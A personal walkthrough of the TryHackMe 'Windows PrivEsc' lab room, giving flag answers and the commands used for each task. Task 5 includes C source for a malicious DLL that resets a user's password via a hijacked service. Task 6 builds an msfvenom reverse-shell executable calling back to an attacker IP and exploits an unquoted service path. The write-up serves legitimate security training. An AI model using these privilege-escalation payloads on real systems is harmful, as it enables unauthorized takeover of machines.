πŸ•ΈοΈ
Th4ntis CyberSec
  • πŸ•·οΈ>whoami_
  • πŸ–₯️General Info
    • CyberSec News
    • Getting Started and other Resources
      • CompTIA Certs
        • Security+
        • Pentest+
    • MITRE ATT&CK
    • Cyber Kill Chain
    • Docker
  • πŸ’»Networking
    • General Networking
    • Common Ports and Protocols
    • TCP/IP Model
    • OSI Model
    • Subnetting
    • Wireshark
    • NMap
    • Wireless
      • Wardriving/WiFi Sniffing
    • 3-Way Handshake
  • 🐧Linux
    • Common commands
    • Sudo
    • Files and File contents
    • Sed Awk and Grep
    • Permissions
  • πŸͺŸWindows
    • Event Codes
    • Powershell
    • Internals
    • Active Directory
  • πŸ”ŽOSINT
    • OSINT Tools
    • IP/Domain OSINT
    • Email/Username OSINT
    • URL OSINT and Sandboxing
    • Social Media OSINT
    • Website OSINT
    • Password OSINT
    • Physical Location OSINT
    • Image OSINT
    • People OSINT
    • Phone Number OSINT
    • Shodan
    • Google Dorking
  • πŸ› οΈTools
    • Brute Force
      • Hydra
    • Credential Dumping
      • Mimikatz
    • Enumeration
      • Bloodhound
      • Certipy
      • Dirb/Dirbuster
      • Enum4Linux
      • GoBuster
    • Exploitation Framework
      • Metasploit
      • Sliver
      • Cobalt Strike
    • Hash Cracking
      • Hashcat
      • JohnTheRipper
    • Methods
      • Powershell Obfuscation
      • Privilege Escalation
      • Pass-The-Hash
      • Kerberos and Kerberoasting
    • Vulnerability Scanners
      • Nessus
      • OpenVAS
    • Web App
      • BurpSuite
      • OWASP Zap
    • Wireless
      • Aircrack-ng
      • Kismet
      • Bettercap
      • HCXDumptool
      • Wifite
    • Impacket
    • Social-Engineer Toolkit (SET)
  • πŸ“”Guides and How-To's
    • Lab Setup
      • Ubuntu VM
      • Kali VM
      • Windows User VM
      • Windows Server VM
    • Wardriving
      • Pwnagotchi
    • Wireless Pentesting
      • WiFi Pineapple Basics
      • Evil-Twin Attack
    • Over The Wire
      • Bandit
      • Natas
      • Leviathan
      • Krypton
      • Narnia
      • Behemoth
      • Utumno
      • Maze
      • Vortex
      • Manpage
    • Docker and Kali Linux
    • Staying Private and goin Dark Online
  • πŸ“•Quick References
    • Tools
      • Tmux
      • NMap
      • Ffuf
      • NetExec
      • CrackMapExec
      • Proxychains
      • OneDriveUser Enum
      • Hashcat
    • One-liners
    • Reverse Shells
    • Post Exploitation
    • Enumeration
      • Google
      • Sublist3r
      • NMap
      • DNSDumpster
    • Hashcracking
    • Wireless
  • πŸ““Courses
    • PNPT
      • Practical Ethical Hacking
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • OSINT Fundamentals
      • External Pentest Playbook
  • ☁️TryHackMe
    • Attacking Kerberos
    • Hacking with Powershell
    • Powershell for Pentesters
    • Linux PrivEsc
    • Windows PrivEsc
    • Blue
    • Kenobi
  • πŸ“¦HackTheBox
    • Starting Point
      • Tier 0
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Explosion
        • Preignition
        • Mongod
        • Synced
      • Tier 1
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
      • Tier 2
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Included
        • Markup
        • Base
    • Walkthroughs
      • Lame
      • Analytics
      • Manager
      • Codify
Powered by GitBook
On this page
  • Task 2
  • Question 2: List users on the target system. One of them resembles a flag.
  • Question 3: What is the OS version of the target machine?
  • Question 4: When was security update KB4562562 installed?
  • Question 5: What is the state of Windows Defender?
  • Task 4
  • Question 1: What version of a Fitbit application can you see installed?
  • Question 2: What kind of vulnerability seems to affect the Fitbit application?
  • Question 3: What version of FoxitReader is installed on the target system?
  • Task 5
  • Question 3: Login with Jack's account (the new password you have set). What is the content of the flagdll.txt file?
  • Task 6
  • Question 1: What is the full unquoted path of unquotedsvc
  • Question 2: Go through subfolders in the unquotedsvc binary path. Which folder does the user have read and write privileges on?
  • Question 3: What would be the name of the executable you would place in that folder?
  • Question 4: Obtain Administrator privileges on the target machine. What is the content of the flagUSP.txt file?
Edit on GitHub
  1. TryHackMe

Windows PrivEsc

This is my walkthrough for the TryHackMe Room: Windows PrivEsc.

Last updated 1 year ago

This room can be found . This room covers a few methods of escalating from a normal user to the root user on a system.

Task 2

Question 2: List users on the target system. One of them resembles a flag.

THM-17213 - Running net users will give us our answer

Question 3: What is the OS version of the target machine?

10.0.17763 N/A Build 17763 - Running systeminfo will give us our answer

Question 4: When was security update KB4562562 installed?

6/10/2020 - Following the command the room gives, wmic qfe get Caption,Description,HotFixID,InstalledOn but piping in the string we want to find will make this MUCH easier. wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr "KB4562562"

Question 5: What is the state of Windows Defender?

STOPPED - Running sc query windefend will give us our answer

Task 4

Question 1: What version of a Fitbit application can you see installed?

2.0.1.6782 - Following the example command the room gives us but piping to search will help.

wmic product get name,version,vendor | findstr "Fitbit"

Question 2: What kind of vulnerability seems to affect the Fitbit application?

Question 3: What version of FoxitReader is installed on the target system?

9.0.1.1049 - I admittedly had to go through the explorer via GUI to find this.

Task 5

First we are asked to replicate the attacks the room explained. So it asks us to create to malicious DLL file, and use it to modify the password for the user Jack so we can login as him.

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net user Jack Passwors123");
        ExitProcess(0);
    }
    return TRUE;
}

We add the above code into a .c file then we can compile it.

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

Now we get the file onto the machine via whatever means we can. I'll be adding it by using a simple python web server. python3 -m http.server onmy attacker machine.

Now we stop and start the DLL service with: sc stop dllsvc followed by sc start dllsvc

Question 3: Login with Jack's account (the new password you have set). What is the content of the flagdll.txt file?

THM-8377492093 - Now that we have changed Jacks password, we can switch to his user via commandline or remote desktop in. I went with commandline and just opened up powershell as jack.

Now we find the file: Get-ChildItem -Path C:\ -Recurse -File flagdll.txt -ErrorAction SilentlyContinue

Then we get the file contents: Get-Content 'C:\Users\jack\Documents\flagdll.txt'

Task 6

Question 1: What is the full unquoted path of unquotedsvc

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe - So as the room suggests we can run wmic service get name,displayname,pathname,startmode but we can pip ewith findstr to make our search easier. wmic service get name,displayname,pathname,startmode | findstr "unquotedsvc"

Question 2: Go through subfolders in the unquotedsvc binary path. Which folder does the user have read and write privileges on?

C:\Program Files\Unquoted Path Service\ - As the room tells us, accesschk64.exe is on the desktop, so running .\accesschk64.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" We see our answer. We can write into the base directory of that.

Question 3: What would be the name of the executable you would place in that folder?

common.exe - I had to look this up as I found no clear indicator as why this file had to be named this

Question 4: Obtain Administrator privileges on the target machine. What is the content of the flagUSP.txt file?

THM-636729273483 - The room gives us an example payload to create a file to upload to the system. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.68.77 LPORT=4444 -f exe > common.exe

Now we start metasploit and get our listener ready msfconsole -q

We can follow the rooms example just be sure to change the IP and PORT of YOUR machine you used when making the payload.

We get the file onto the target in whatever way we can, I'll again be using python3 webserver

With our file now on the target, we can start the service sc start unquotedsvc

We should now have our shell

From here there are multiple ways we can find our file and flag but for the sake of brevity we will just stick with windows and methods we have already used.

We'll move to powershell with powershell.exe, then find the file we want, Get-ChildItem -Path C:\ -Recurse -File flagUSP.txt -ErrorAction SilentlyContinue, then get the contents of the file, Get-Content 'C:\Users\Cora\Documents\flagUSP.txt'

Unquoted Service Path - Having to do some minor research on this one, when going to Exploit.db we can search for "Fitbit" and find which give us our answer.

☁️
this link
here